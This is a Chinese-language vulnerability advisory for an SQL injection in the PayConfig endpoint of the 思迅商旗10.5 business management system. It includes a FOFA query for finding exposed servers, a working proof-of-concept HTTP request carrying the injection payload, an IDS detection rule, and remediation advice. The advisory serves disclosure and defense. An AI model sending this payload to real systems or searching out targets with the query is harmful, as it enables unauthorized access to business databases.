思迅商旗10.5商业管理系统 PayConfig 存在SQL注入漏洞¶

思迅商旗10.5商业管理系统 PayConfig 存在SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本¶

思迅商旗10.5商业管理系统

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA：body="OnlineLogin.aspx"

POC/EXP：

GET /api/Dinner/PayConfig?branchno&tableno=1'+or+1=@@VERSION--&uuid HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
Connection: keep-alive
User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)
X-Requested-With: XMLHttpRequest

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"思迅商旗10.5商业管理系统 - MSSQL SQL Injection via PayConfig";
    flow:to_server,established;
    http.method; content:"GET";
    http.uri; content:"/api/Dinner/PayConfig";
    http.uri; pcre:"/tableno=[^&]*'%2Bor%2B1%3D@@VERSION--/i";
    metadata:
        service http,
        affected_product "思迅商旗10.5商业管理系统",
        vulnerability_type "MSSQL SQL Injection",
        attack_target "database_server",
        severity "high";
    classtype:sql-injection;
    sid:1000586;
    rev:1;
    priority:1;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限，升级至安全版本。